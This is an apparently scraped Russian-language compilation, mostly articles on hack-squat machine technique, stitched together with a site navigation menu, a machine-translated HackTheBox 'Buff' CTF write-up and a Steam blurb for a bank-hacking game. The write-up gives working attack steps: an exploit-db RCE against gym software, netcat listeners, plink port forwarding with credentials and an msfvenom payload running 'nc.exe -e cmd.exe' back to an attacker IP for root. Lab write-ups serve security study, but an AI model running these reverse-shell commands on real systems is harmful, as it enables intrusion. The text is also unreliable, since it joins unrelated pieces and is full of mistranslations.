Машина Гаккеншмидта проста в использовании. Упражнения в тренажере сможет освоить начинающий спортсмен. Это становиться возможным благодаря четкой фиксации траектории движения. От занимающегося требуется лишь равномерно осуществлять работу ногами и контролировать положение спины.

Однако эти особенности спортивного снаряда создают ряд сложностей для опытных атлетов. Гакк-тренажер предназначен для тренировки мышц передней поверхности бедра. Это значит, что при стандартной технике исполнения нагрузить ягодичные, отводящие или приводящие мышцы бедра не получится.

Для тренировки ягодичных мышц в гакк-машине применяется метод обратной постановки корпуса при выполнении упражнения. Занимающийся повернут лицом в сторону подвижной платформы и её направляющих. Это позволяет акцентировано отводить таз назад при опускании и подъеме. Подобные изменения техники движения смещают акцент нагрузки на ягодичные и бицепс бедра спортсмена.

Варианты постановки ног

Приседания в гакк тренажере могут выполняться с 4 основными положениями ног при соблюдении классической техники движения. Положение ступней и расстояние между ними может отличаться в зависимости от анатомических особенностей спортсмена. Но общие рекомендации и используемые технические приемы остаются неизменными.

Узкая постановка стоп.	Ступни вынесены максимально вперед	Данный вариант позволяет нагрузить латеральную головку четырехглавой мышцы бедра
	Ступни рядом. В нижней точке колени «накрывают» кончики пальцев.	Такая постановка ног позволяет сместить усилие с передней на заднюю поверхность ноги.
На ширине плеч.	Стопы развернуты наружу или параллельны.	В равной степени в работу включаются все 4 пучки квадрицепса.
Широкая постановка	Ноги выставлены у края платформы. Носки развернуты наружу.	В работу включаются мышцы внутренней поверхности бедра.

Преимущества гакк-приседаний

Приседания в тренажере Гаккеншмидта являются полноценным базовым упражнением. Во время выполнения движения задействованы все мышцы нижней части тела, спины и брюшного пресса. Это позволяет утверждать, что занятия в гакк-машине так же, как и приседания со штангой на плечах, способствуют выработке гормона роста.

В результате чего происходит функциональная гипертрофия квадрицепсов и мышц всего тела. В отличие от классических приседаний со свободным весом гакк-присед позволяет акцентировано нагружать отдельные пучки четырехглавой мышцы. А также включать в работу ягодичные, двуглавую бедра и приводящие мышцы.

Это становится возможным за счет отсутствия необходимости удерживать равновесие в процессе движения и возможности вариации постановки ног. Занятия в машине Гаккеншмидта позволяют безопасно оперировать с большими рабочими весами. Наклон платформы снижает осевую нагрузку на позвоночный столб.

Подвижные многоуровневые упоры дают возможность тренироваться до достижения отказного состояния в мышцах без использования помощника.

Движущаяся по направляющим платформа позволяют начинающим спортсменам легко освоить технику выполнения упражнения. Мягкие опорные валики и анатомическая спинка обеспечивают комфортное расположение атлета в спортивном снаряде.

Недостатки упражнения

Занятия в гакк-машине обладают 2-я существенными недостатками:

• Во время выполнения движения при любой постановке ног и положении тела большая нагрузка ложиться на коленный сустав. По этой причине гакк-приседания не рекомендуются людям с травмами в этой области тела, артритами и артрозами.
• Не удается контролировать вес отягощения. Приседания со штангой предохраняют от чрезмерной нагрузки. Новичок не сможет выполнить повторение с весом, значительно превосходящим его рабочий. Так как вспомогательные и основные мышцы атлета не подготовлены к подобной нагрузке, то и риск получения травмы от неправильного выбора массы снаряда исключен. Гакк-тренажер дает возможность работать с большими весами, так как роль стабилизаторов в процессе выполнения движения сведена к минимуму.

Типичные ошибки гакк-приседа

До 90% всех ошибок при выполнении приседаний в гакк тренажере допускаются по причине неправильного подбора массы снаряда.

Не соответствующая возможностям спортсмена нагрузка приводит к следующим нарушениям:

• Отрыв пяток ног от опорной плоскости. Возникает ошибка в ситуации, когда мощности квадрицепсов не хватает для подъема в верхнюю точку. В этом случае организм начинающего спортсмена пытается включить дополнительные резервы в виде ягодичных и мышц спины.
• Сведение коленей. Четырехглавая мышца бедра является самой сильной группой в нижней части тела. Особенно это касается нетренированных атлетов. При высокой нагрузке происходит смещение в сторону сильных мышц и колени занимающегося сводятся к центру, чтобы латеральная головка могла выполнять больший объем работы.
• Отрыв поясничного отдела позвоночника от опорной платформы связан с необходимостью тела включать дополнительные волокна для того, чтобы справиться с непомерным весом отягощения. Также данная ошибка может возникать в результате недостаточной гибкости атлета в тазобедренном суставе или анатомических особенностей крепления мышц задней поверхности бедра.
• Неконтролируемое движение вниз. Часто сочетается с неправильным толчком для движения вверх. Стопа при выполнении упражнения должна полностью опираться на платформу, а нагрузка распределяться по всей её поверхности. В случае, когда масса отягощения превышает допустимые пределы атлет не в состояние контролировать положение собственного тела, как при негативной фазе, так и при позитивной.

Среди начинающих спортсменов возникает ряд ошибок, связанных с незнанием основ физиологии человека и нюансов конструкции тренажера:

• Отдых в нижней или верхней точке траектории. В первом случае нагрузка на коленный сустав значительно возрастает. Во втором – происходит пустая трата времени.
• Повороты головы. Позвоночник проходит через все тело человека. Хотя в момент выполнения гакк-приседа он не подвергается осевой нагрузке, но мышцы верхней части корпуса испытывают сильное статическое напряжение. Малейшие резкие движения могут привести к травме.
• Неверное дыхание.
• Спина не прижимается плотно к задней спинке тренажера. В этом случае теряется основное преимущество тренажера и позвоночник начинает испытывать значительные деформации.

Советы по прокачке квадрицепса для девушек

Тренировку передней поверхности бедра для женщин стоит проводить по системе сплита. Так как нижняя часть женского тела относительно мужского развита сильнее, то комплекс упражнений на четырехглавую мышцу следует подбирать по следующим принципам.

Они такие:

• Включение базовых движений. Выполнение многосуставных упражнений способно принести хороший эффект любому спортсмену. Но ввиду того, что женские ноги отличаются высокой степенью выносливости, то достигнуть результата девушкам можно лишь выполняя тяжелые тренировки.
• Максимальная нагрузка в среднем диапазоне повторений.
• Чередование упражнений в тренировочном сплите. Высокая силовая выносливость женских ног обуславливает быструю приспособляемость к стандартной программе тренировок. Избежать застоя можно путем постоянной смены используемых упражнений.

Рекомендации по безопасности

Приседания в гакк тренажере важно начинать с разминочных подходов. Это поможет сберечь коленные суставы и связки. Не стоит забывать о суставной гимнастике. Особое внимание уделяется нижней части тела. Вращательные движения помогут разогреть место соединения двух костей, а суставные сумки наполняться смазывающей жидкостью.

Перед началом тренировки в машине Гаккеншмидта рекомендуется выполнить несколько подходов в тренажере гиперэкстензии. Это поможет тонизировать мышцы разгибатели спины и создаст дополнительную фиксацию в области поясничного отдела позвоночника.

В ходе выполнения движения требуется внимательно следить за положением таза относительно задней опорной поверхности оборудования. В случае недостаточной гибкости нижняя часть спины может начать отрываться. В этом случае необходимо сократить амплитуду до того уровня, при котором удается соблюдать правильную технику выполнения упражнения.

Чем можно заменить гакк-приседания?

Заменить приседания в гакк тренажере можно:

• Жимом ногами. Этот вариант является полноценной альтернативой для гак-машины. Тренажер представляет собой наклонную раму, расположенную под углом к плоскости пола. При этом верхняя часть тела спортсмена неподвижно расположена на стационарной опоре оборудования. В ходе выполнения упражнения движение осуществляют ноги спортсмена.
  
• Приседания с гантелями или со штангой за спиной или перед грудью.

Приседания в машине Гаккеншмидта способны разнообразить программу тренировок как опытного, так и начинающего спортсмена. Отсутствие нагрузки на позвоночник и возможность работы с большими весами делает тренажер эффективным инструментом при формировании больших и сильных мышц передней поверхности бедра.

Видео о приседаниях в гакк тренажере

ГАКК машина для девушек приседания:

Приседания в гакк тренажере: техника выполнения классических и обратных занятий в машине Георга Гаккеншмидта со штангой и без

Гакк-приседания – это упражнения, выполняемые на специальном тренажере. Такой вид приседаний был разработан по методике Георга Гаккеншмидта, который являлся атлетом и первым мировым чемпионом по вольной борьбе. Упражнения не очень популярны среди людей в спортивном зале, кто просто поддерживает себя в форме. Однако, профессиональные спортсмены ценят упражнение за его эффективность в прокачке нескольких групп мышц.

Какие мышцы работают при гакк приседе?

Во время выполнения приседаний нагрузка в основном идет на квадрицепс – мышцу, образующую бедра. Упражнения затрагивают и другие ближайшие мышцы – ягодицы, икроножные, пресс и разгибатель позвоночника. Оно подходит для восстановления спортсменов после травм, для укрепления мышц спины и ног, а также для приведения в тонус мускулатуры.

Техника выполнения приседаний в тренажере

Выполнять упражнения можно с помощью тренажера или с использованием штанги. Для гакк приседаний техника разработана специально для обоих случаев.

Тренажер для гакк приседаний имеет одноименное название. Он состоит из стальной основы и платформы для установки ног. По наклонной поверхности движется другая платформа, на которую садится спортсмен. В качестве аксессуаров и дополнительных компонентов служат формы для удобной установки плеч.

Как и в большинстве видах приседаний в работе принимают участие квадрицепс, подколенные сухожилия, аддукторы/абдукторы и ягодичные мышцы.

Технология выполнения упражнений:

• выбирается вес путем изменения количества дисков на штанге;
• спортсмен встает на тренажер Гаккеншмидта, устанавливая ноги на платформу, и прижимаясь плотно к машине;
• взгляд должен быть направлен вперед, спина слегка выгнута, плечи расправлены, ступни разведены в стороны параллельно друг другу;
• груз крепко обхватывается прямыми руками и опускается вниз до положения параллельных полу бедер, делается вдох;
• во время выдоха штанга плавно поднимается, ноги разгибаются в коленях.

Новичкам рекомендуется начинать приседания с 3 подходов по 8 раз в гакк тренажере, а затем постепенно увеличивать счет частоты. Во время движения упор должен быть направлен не на носки, а на пятки. Так повышается эффективность, и уменьшается риск растянуть мышцы стоп.

Если же есть какие-то проблемы с мышцами ног или ягодиц или человек ведет малоподвижный образ жизни, то рекомендуется сначала ознакомиться с приседаниями по методу Бубновского.

Техника выполнения гакк приседаний с помощью штанги без тренажера

Выполнение упражнений может происходить без использования гакк-машины.

• устанавливается необходимый вес штанги;
• человек присаживается и обхватывает спортивный инструмент сверху;
• в ходе жима руки и спина держатся в прямом положении;
• спортсмен медленно поднимается, держа в руках груз до полного выпрямления в коленях;
• делаются гакк приседания со штангой до такого положения, пока бедра и голени не образуют прямой угол.

Приседы со штангой повторяются фиксированное количество раз в несколько подходов.

выполняйте упражнение в управляемом режиме на протяжении всей траектории движения

Преимущества гакк приседаний

Приседания, разработанные по методике Георга Гаккеншмидта, пользуются популярностью у спортсменов, благодаря ряду достоинств.

1. Подходят для девушек и мужчин.
2. Простая технология исполнения тренировки. Не нужно разучивать технику, искать центр тяжести и тренироваться выполнять присед.
3. Самостоятельный выбор веса груза. Во время приседания Гаккеншмидта спина и позвоночник не испытывают сильной нагрузки, поэтому можно смело брать большой вес. Главное – не переусердствовать.
4. Проработка отдельных мышц. При правильном подобранном положении ног можно распределить нагрузку на необходимые области ног.
5. Возможность обходиться без страховки тренера. Нет необходимости контролировать спортсмена, так как машина гак имеет стопоры.
6. Низкая вероятность получить травму.
7. Эффективность, проверенная многими опытными культуристами.

Недостатки упражнения

Как и любые другие, приседания в гакк тренажере имеют свои минусы.

1. Больше подходят для культуристов. Девушкам необходимо особенно аккуратно продумывать план занятий.
2. Не подходят людям с болезнями коленных суставов, так как во время выполнения «изнашивается» данная часть тела.

Всегда разминайте ноги и особенно коленные суставы перед приседаниями, можно выполнить несколько разминочных подходов с легким весом в гакк-машине.

Варианты постановки ног

От постановки ног зависит, на какие мышцы направляются упражнения. Всего существует 4 варианта установок.

1. Ступни стоят на нижнем краю платформы. Упор идет на переднюю сторону бедер.
2. Ноги поставлены в центре и рядом друг с другом. Так прокачивается латеральный пучок четырехглавой мышцы.
3. Ступни сведены вместе и расположены у верхнего края платформы. Упражнения задействуют ягодицы и бицепсы бедер.
4. Ноги разведены в стороны на ширине плеч, носки смотрят в разные стороны. Приводящие мышцы бедра чувствуют нагрузку во время выполнения приседаний.

Обратные гакк приседания

Упражнения, выполняемые лицом к тренажеру, называются обратными гакк приседаниями. В таком случае упор устанавливается на ягодичные мышцы и заднюю поверхность бедра. Они выполняются точно так же, как и фронтальные, только при развернутом на 180 градусов положении тела. Обратные гакк приседания пользуются популярностью у бодибилдеров и серьезных спортсменов.

Если ваши колени подкашиваются от любого веса, это упражнение не для Вас, для начала усильте стабильность коленных суставов.

Типичные ошибки гакк приседа

Несмотря на простоту в методике, спортсмены могут совершать ошибки при выполнении приседаний в гакк машине.

Самые распространенные проблемы, вызывающие мышечные боли и неудобства:

• неправильная техника дыхания;
• выполнение упражнений без разминки;
• слишком большой вес груза;
• сведение и разведение коленей;
• колени выходят за пальцы ног;
• неплотно прижаты ступни к полу или платформе;
• резкие опускания или поднятия;
• слишком низкий присед;
• взгляд направлен вниз;
• спина и руки находятся в кривом положении.

Советы по прокачке квадрицепса

Для прокачки четырехглавой мышцы наиболее эффективными являются фронтальные приседания Гаккеншимдта со штангой. При их выполнении важно правильно распределять нагрузку. У спортсмена должна быть сильная спина, которая особенно напрягается при приседах. Именно поэтому необходимо продумать количество раз и подходов, устраивая между ними небольшие перерывы для отдыха.

Рекомендации по безопасности

Во время приседаний возникает вероятность получить травму коленного сустава. Именно поэтому рекомендуется хорошо разогреться перед началом занятий. 10 минутная разминка поможет привести мышцы в работоспособное состояние.

При проблемах со спиной или коленями нужно использовать эластичные бинты или специальные пояса. Стоит уделять внимание обуви, у которой должна быть плоская твердая подошва.

Выполнять упражнения нужно строго по правилам. Тренажер для гакк приседаний необходимо сначала изучить, чтобы понять, как устроена его функциональность. Голову не нужно опускать, и если прокачка происходит на тренажере, то спина должна быть прямой и не отрываться от машины. Не нужно опускаться ниже, чем положение параллельных полу бедер.

Чем можно заменить гакк приседания?

Для укрепления и увеличения мышц квадрицепса подходят упражнения со штангой, бодибаром и гантелями. Занятия могут выполняться при держании груза на плечах или в руках.

Помимо приседов альтернативным вариантом производятся выпады в стороны. В таком случае от угла выпадения зависит, какая группа мышц нагружена. Также популярны наклоны вперед со штангой. Во время выполнения чувствуется нагрузка на мышцы бедер и ягодиц.

Гакк-приседания и тренажер для этой цели – один из самых эффективных видов упражнений по прокачке четырехглавой мышцы. Они легко производятся в спортивном зале или дома со штангой. Самое главное – поддерживаться правилам техники безопасности и выбирать оптимальный вес для нагрузки, и тогда результат не заставит себя долго ждать.

Reverse Hack Squat: как выполнять и преимущества

Это день ног в вашей программе тренировок, и вам интересно, как вы собираетесь выполнять приседания, используя обратный hack присед. Если вы уже какое-то время ходили на тренировку, вы поймете, что ноги важны при тренировках, и они будут способствовать хорошо сложенному телу. Почему это? Ноги составляют основу вашего тела, и без сильных ног ваше тело не будет в хорошей форме. Так как же накачать ноги во время тренировок?

Ну, самый распространенный способ накачать ноги — это выполнение приседаний в обратном направлении.Обратные приседания названы в честь российского бодибилдера и борца Джорджа Хакеншмидта. Традиционно они выполняются с использованием штанги. Однако вы также можете выполнять их с помощью тренажера для приседаний с обратным гаком или машины Смита. Если вы думаете о выполнении обратных приседаний и не знаете, как эта статья для вас.

Как выполнять обратное гак-приседание

• Первым шагом в использовании обратного гак-приседа является загрузка в гак-тренажер желаемого веса.Это будет зависеть от вашего уровня подготовки и убедитесь, что вы выбрали те веса, которые вам удобны.
• Положите спину на спинку сиденья так, чтобы подушки поддерживали вашу грудь и плечи.
• Ножки должны быть на ширине от подножки.
• Опустите вес на тренажере для приседаний вместе со своими вещами, пока он не станет параллельным полу. Кроме того, задержите вес на мгновение внизу.
• Переместите гирю в исходное положение и вы сможете выполнить желаемое количество повторений.

Почему так важно приподнимать пятки?

При выполнении обратных коротких приседаний поднятые ноги помогут вам оставаться в вертикальном положении на протяжении всей тренировки. Это также упростит вам акцент на квадрицепсы и ограничение его вклада в заднюю цепь.

Поднимая пятки, вы сможете тренировать квадрицепсы двумя разными способами.

• • Они уменьшают сгибание, необходимое для глубокого сидения при выполнении приседаний.Большинству лифтеров не хватает подвижности лодыжек, и поднятие пяток поможет вам подняться в тонусе.
  • Подъем пятки также может некоторым образом удлинить голень. Соотношение между длиной бедер и голени будет уменьшено, и ваши бедра немного отклонятся назад, пока вы сохраняете вертикальное положение.

Меры предосторожности при выполнении обратного гак-приседания

• Прежде чем приступить к упражнению, начните с выполнения ряда разминок.Можно выполнять и другие упражнения для ног.
• Вначале избегайте использования штанг и начинайте с легких, но увеличивайте вес по мере продвижения в упражнениях.
• Убедитесь, что колени надежно зафиксированы, чтобы избежать травм.
• Всегда сопротивляйтесь или опускайте вес медленно.
• Колени не должны выходить за пальцы ног, чтобы не вызывать боли в коленях.
• Всегда избегайте подпрыгивания или использования инерции при выполнении упражнения.

На какие мышцы влияет обратное приседание?

Обратное приседание нацелено на мышцы бедра, квадрицепсы и большие ягодичные мышцы ягодиц.

Gluteus Maximus

Если ваша цель — иметь большую ягодицу во время тренировки, вам необходимо выполнить несколько повторений на тренажере для приседаний с гекконом. Если вы выполняете упражнения правильно, большие ягодичные мышцы должны будут это продемонстрировать.

Одна из ошибок, которую допускают люди, занимающиеся наращиванием ягодиц, — это незнание правильного способа работы с ягодичными мышцами.Ягодичные мышцы — самые большие мышцы ягодиц, и правильная работа с ними должна быть приоритетом. Мышцы используются для выпрямления бедер.

Quadriceps

Наличие хорошо развитой четырехглавой мышцы должно быть симметричным остальному телу. Это поможет вам не выглядеть как популярный веселый мультяшный Джон Браво с большой грудью и руками, но без квадрациклов.

Обратные приседания могут быть лучшим решением, если вы хотите построить более сильные квадрицепсы, которые помогут вам достичь симметрии тела.

Квадрицепсы расположены на бедрах и играют большую роль в укреплении коленей. Есть четыре мышцы, которые составляют ваши квадрицепсы, и все они расположены в передней части бедер.

• Vastus intermediateus- Располагается ниже трех других четырехъядерных мышц и является самой глубокой из всех трех четырехъядерных мышц.
• Vastus Medialis- Располагается на внутренней части бедер и около коленной чашечки. Когда у вас более слабая медиальная широкая мышца бедра, это может быть связано с болью в колене и неправильным положением коленной чашечки.
• Vastus Lateralis- Он расположен на внешней стороне бедер.
• Rectus femoris- Расположена на верхней части бедра между медиальной и латеральной мышцами квадрицепсов.

Когда вам нужно задействовать квадрицепсы во время тренировки, вам придется поставить ступни на заднюю часть подножки. Это вызовет сокращение четырехъядерных мышц.

Есть ли недостатки у обратного хак-приседания?

Конечно, есть несколько недостатков при использовании станка.

• Заставьте ваше тело двигаться под фиксированным углом

Один из распространенных недостатков использования тренажеров заключается в том, что они дают вам устойчивость только при соблюдении всех правил. При использовании обратного приседания вам придется двигаться в фиксированном положении.

• Стабильность Мышцы могут не работать

Учитывая поддержку обратного приседания, некоторые мышцы можно легко упустить во время тренировки.Это потому, что тренажер обеспечит вам необходимую поддержку при выполнении упражнений.

• Может вызвать проблемы с коленями

Если вы не используете правильное выполнение обратного приседания, это может привести к смещению коленей вперед при поднятии тяжестей, что приведет к проблемам с коленями.

Вы не можете выполнять обратные приседания в домашних условиях, и вам понадобится ручной присед.

Общие альтернативы обратному приседанию

Из вышесказанного вы узнали, как правильно выполнять обратный хак-присед с использованием обратного хак-тренажера.Что, если вы поймете, что тренажер для обратных приседаний недоступен в тренажерном зале? Конечно, нельзя пропустить тренировки на ногах, ведь нет тренажера для обратных приседаний. Вам нужно найти альтернативное средство для тренировки ног.

Вот некоторые из альтернативных приседаний в обратном направлении, которые вы можете выполнять в тренажерном зале.

Dumbbell Hack Squat

Используя гантели, вы можете легко выполнять несколько приседаний дома. Вам даже не нужна стойка для приседаний, вам нужно только поддерживать соответствующую осанку при выполнении упражнения и позиционировать себя так, чтобы вы могли извлечь максимум из упражнений при приседаниях.

• Возьмитесь по гантели на каждой руке и встаньте, расставив ноги в плечах, носки наружу. Поднимите пятки и согните колени.
• Встаньте, поставив гантели на плечи, убедитесь, что вы выровняли свое тело со спиной.
• Начните опускать тело со сгибания бедер и коленей. Не забудьте отодвинуть ягодичные мышцы назад. Убедитесь, что вы продолжили движение, и колени должны быть в том же направлении, что и пальцы ног.
• Опустите корпус так, чтобы он стал параллельным полу.Убедитесь, что вы сохранили ровное положение тела при опускании.
• Убедитесь, что вы поддерживаете контролируемые движения и возвращаетесь в исходное положение, не блокируя колени.
• Выполните как можно больше повторений.

Использование приседаний со штангой

Со штангой вы легко можете получить большой размер ягодиц и квадрицепсы. Еще вам понадобится при выполнении упражнения невысокая стойка.

• Поставьте штангу на стойку на более низком уровне, чем обычно.Он должен быть ниже твоей задницы.
• Держите штангу сзади руками, при этом руки должны быть разведены плечом.
• Поднимите штангу из стойки и держите ее ближе к задней части ног.
• Двигайтесь вперед, твердо стоя на земле.
• Выполняйте приседания до тех пор, пока колени не будут под перпендикулярным углом или бедра не станут параллельны полу. Когда вы выполняете это упражнение, штанга всегда должна быть близко к задней части голени.Спина всегда должна быть прямой, чтобы не повредить позвоночник.
• Разгибая бедра и колени, поднимите штангу назад, и вы можете выполнять желаемое количество повторений.

Использование тренажера Смита для выполнения приседаний с обратной ленточкой

В большинстве случаев тренировка со штангой может создать проблему баланса. В таких условиях лучшим вариантом будет машина Смита. Тренажер Смита может позволить вам идеально тренироваться на коленях.

Нужны ли мне реверсивные ленты?

Обратные ленты выполняют разные функции, когда вы используете тренажер Смита для работы с квадрицепсами. Это может позволить вам сопоставить сопротивление упражнения с вашей силой. Сопротивление важно, когда вы тренируетесь на квадрицепсах.

Обратная полоса также используется для подчеркивания нижней части подъема. Соответствующий пул с ремешками поможет вам работать усерднее, когда вы опускаете вес во время упражнения.Обратные ленты позволят вам больше сосредоточиться на наращивании квадрицепса, поскольку они играют большую роль в регулировании скорости, с которой вы опускаете вес.

Итог по обратному приседу

Обратный присед — лучший способ накачать мышцы нижней части тела, одновременно давая отдых мышцам верхней части тела. В первое время может быть сложно правильно выполнять упражнение. Однако со временем вы привыкнете к распорядку и будете выполнять упражнения без проблем.

Если у вас есть планы по увеличению веса, убедитесь, что вы сохранили форму. Большая ошибка, которую совершают многие лифтеры, — это нарушение формы при поднятии тяжестей. Убедитесь, что вы поддерживаете правильную форму при выполнении обратного хак-приседа, и вы никак не сможете избежать этого. Если вы ищете способы обмана во время тренировки, вы обманываете только себя и причиняете вред своему телу.

Есть и минусы тренажера для приседаний, о которых упоминалось в статье.Найдите альтернативные способы выполнения упражнения. С помощью альтернативных средств, упомянутых в этой статье, вы можете получить идеальную тренировку приседаний в обратном направлении, не используя при этом тренажер обратного хак-смита.

Как выполнять гак-приседания на тренажере Hack Squat

перейти к содержанию

Верхняя навигация

Исследовать

Меню профиля

Ваш счет Вниз треугольник близко

Исследуйте форму

Меню профиля

Ваш счет Вниз треугольник

Следуйте за нами

Reverse Hack Squat on Coub

Reverse Hack Squat on Coub

• Дом
• Горячей
• Случайный

• Подробнее…

  Показать меньше

• Мне нравится
• Закладки
• Сообщества
• 

  Животные и домашние животные

• Мэшап

• Аниме

• 

  Фильмы и телепередачи

• 

  Игры

• 

  Мультфильмы

• Искусство и дизайн

• 

  Музыка

• 

  Новости и политика

• 

  Спорт

• 

  Наука и технологии

• 

  Знаменитости

• 

  Природа и путешествия

• Мода и красота

• 

  Танец

• Авто и техника

• 

  NSFW

• 

  Рекомендуемые

• Coub of the Day

• Темная тема

Должны ли спортсмены делать гак-приседания?

Hack Squat — популярное упражнение, используемое многими тяжелоатлетами для развития нижней части тела.Выполняется на санках, что позволяет приседать под углом 45 градусов. Три основные группы мышц, которые он в первую очередь тренирует, — это квадрицепсы, подколенные сухожилия и ягодицы.

Этот тренажер используется в большинстве фитнес-центров. И если вы видели, как кто-то его использует, вы, несомненно, заметили, что он поднимал тонну блинчиков — определенно намного больше, чем они используют при приседаниях со штангой.

Тот факт, что вы можете загрузить это, делает его невероятно популярным. Кто бы не хотел делать упражнение, в котором они занимают половину тарелок в тренажерном зале? Это заставляет человека казаться суперсильным!

СВЯЗАННЫЙ: Все, что вам нужно знать о 5 вариациях приседаний со штангой

Но то, что можно поднимать тяжелый вес, не обязательно делает Hack Squat хорошим упражнением.Давайте разбираться.

Преимущества Hack Squat:

• Поскольку Hack Squat выводит верхнюю часть тела из движения, он устраняет потенциальные недостатки или компенсации, которые могут повлиять на глубину приседаний. Вы можете сосредоточиться на том, чтобы ваши бедра были параллельны.
• Как упоминалось выше, вы можете нагружать вес — благодаря дополнительному контролю, обеспечиваемому машиной, и тому факту, что ваше ядро ​​выведено из движения.
• Легко тренировать по одной ноге, чтобы уменьшить мышечный дисбаланс.
• Вы можете изменить фокус упражнения, отрегулировав положение стопы. Более высокое положение стопы подчеркивает ягодичные мышцы, а более низкое — квадрицепсы.
• Благодаря устойчивости, обеспечиваемой тренажером, это может быть более безопасным способом начать наращивать силу, когда вы возвращаетесь после травмы.

СВЯЗАННЫЙ: Вариант приседаний, который зажигает ваше ядро ​​

Минусы Hack Squat

• Вы вынуждены работать под фиксированным углом, а это не так, как в спорте, поэтому он не тренирует ваше тело специально для того, как вы двигаетесь на игровом поле.
• Поскольку вы заперты в тренажере, важные мышцы-стабилизаторы (которые помогают защитить суставы) не задействованы.
• Во время традиционного приседания со штангой ваше ядро ​​должно работать сверхурочно, чтобы контролировать и стабилизировать вес. Это важное преимущество теряется в Hack Squat.
• Колени находятся далеко впереди, что может вызвать проблемы с коленями, особенно при использовании тяжелых весов.

Каков вердикт?

Взвешивая положительные и отрицательные стороны, я не рекомендую спортсменам использовать Hack Squat в своих тренировочных программах.Несмотря на способность поднимать чрезвычайно тяжелые грузы, отсутствие задействования стабилизирующих мышц и фиксированный диапазон движений делают этот тренажер более подходящим для бодибилдеров, чем для спортсменов. Спортсменам необходимо тренироваться в свободном диапазоне движений.

Если говорить прямо, ничто не сравнится со свободными весами. Я бы предпочел, чтобы кто-то делал 300-фунтовые приседания со спиной, чем 600-фунтовые гак-приседания. Попробуйте оба варианта, и вы заметите, насколько сложнее приседания со спиной.

СВЯЗАННЫЙ: Приседания 101: практическое руководство

Вот несколько упражнений, которые я рекомендую вместо Hack Squat:

• Приседания со штангой назад или вперед
• Болгарские сплит-приседания (размещение штанги спереди или сзади)
• Выпады с гантелями
• Становая тяга
• Тяга бедра со штангой

Все это говорит о том, что бывают случаи, когда Hack Squat подходит.В частности, если вы возвращаетесь после травмы, дополнительная стабильность чрезвычайно важна. Обычно его используют для того, чтобы снова заставить мышцы работать и создать базу силы, и как только это установлено, предпочтительнее упражнения со свободным весом.

Фото предоставлено: Getty Images // Thinkstock

[HTB] Hackthebox Buff машина для записи — Hackingwebservice

С возвращением, мои товарищи-хакеры, поэтому сегодня мы собираемся провести обзор HTB-машины Buff. Это довольно простая машина, в ней 20 точек, так что давайте подключим вас vpn и приступим …

IP-адрес аппарата — 10.10.10.198 г. в первую очередь пингуйте и давайте приступим к его взлому !!!!

Если вы видите домашнюю страницу машины, значит, это фитнес-сайт. Я попытался просканировать машину с помощью nmap, но ничего не получил.

Теперь, если вы перейдете в раздел «О программе» на веб-сайте, вы обнаружите, что он создан с помощью Программное обеспечение для управления тренажерным залом 1.0

Погуглив версию программного обеспечения, я обнаружил в системе уязвимость RCE.эксплойт уязвимости загружен на exploit-db

Я загрузил его и выполнил, как показано ниже, и получил обратную оболочку машины.

Теперь нам нужно получить командную оболочку машины, поэтому для получения оболочки командной строки нам нужно загрузить следующие exe-файлы

NETCAT: ПОЛУЧИТЬ ОБРАТНУЮ ОБОЛОЧКУ
ПЛИНК: ДЛЯ ПЕРЕАДРЕСАЦИИ

, мы можем загрузить их, используя следующие команды: cp / usr / share / windows-binaries / nc.исполняемый . и cp /usr/share/windows-binaries/plink.exe.

Теперь нам нужно получить оболочку revsese, запустив netcat, так что давайте сделаем это !!!!!

1. откройте список netcat на своем компьютере и введите следующую команду nc -lvvnp 1337
2. Теперь выполните в браузере следующий URL

1. БУМ !!! мы получили доступ к командной оболочке, теперь давайте найдем пользовательский флаг

И вот мы получили флаг пользователя в C: \ Users \ shaun \ Desktop

Если вы перечислите больше в машине, то в папке Download вы получите exe-файл Cloudme1.11.2.exe, что означает, что версия уязвима для переполнения буфера. У нас есть эксплойт для этой версии на exploit-db

Теперь нам нужно перенаправить IP-адрес машины через порт, используя plink, который мы уже загрузили на машину

.

, поэтому позволяет загрузить с помощью следующей команды: plink.exe -l root -pw toor 10.10.16.153 -R 8888: 127.0.0.1: 8888

Теперь нам нужно внести некоторые изменения в наш эксплойт 48389, просто скопируйте вывод следующей полезной нагрузки метасплоита и замените его на 48389 кодов буфера эксплойтов

Полезная нагрузка metasploit: msfvenom -p windows / exec CMD = ’c; \ xampp \ htdocs \ gym \ upload \ nc.exe -e cmd.exe 10.10.16.153 4444 ′ -b ‘\ x00 \ x0a \ x0d’ -f py -v полезная нагрузка

Теперь запустите список netcat как nc -lnvp 4444 и на втором терминале выполните полезную нагрузку следующим образом:

БУМ !! мы получили привилегию root в системе. Теперь давайте найдем флаг root.

Нравится:

Нравится Загрузка …

Связанные

Симулятор взлома

HEX в Steam

Об этой игре

Используйте свои коммуникативные навыки, чтобы обойти меры интернет-безопасности и успешно взломать самые безопасные банки.Выберите роль хакера, взяв на себя указание обезвредить каждый протокол; или Контроль и передайте инструкции своему партнеру.

Как хакер, вы — сердце операции. Вы один в гуще опасности и единственный, у кого есть визуальные данные из базы данных банка. Следуя инструкциям, которые дает вам Control, вы должны пройти через все меры безопасности банка, чтобы вывести средства на свой счет. Каждая сделанная ошибка может вызвать потенциальное обнаружение в системе, инициирующее блокировку.Будьте осторожны, так как Белые Шляпы могут попытаться выследить вас, что приведет к полной блокировке — оставив себя и Контроль без всякой добычи. Выбирайте партнера с умом, это может быть просто разница между богатством и тюрьмой.

Как руководитель, вы являетесь мозгом операции. Находясь в удаленном месте, у вас не будет прямого визуального представления о безопасности банка, но у вас будет доступ к инструментам, которые необходимы хакеру для проникновения в базу данных. Вы несете ответственность за безопасное ведение хакера с учетом мер безопасности в систему жертвы.Неправильная инструкция, переданная хакеру, может привести к их тюремному заключению. Узнайте, что может видеть хакер, и с этой информацией вы сможете разблокировать уязвимости в системе, а затем передать хакеру инструкции о том, как обойти меры безопасности.

В конце концов, единственный способ гарантировать успешный перевод — это работать вместе и поддерживать постоянное общение. Если один человек терпит неудачу, терпит поражение и другой.
Удачи и скройтесь.

.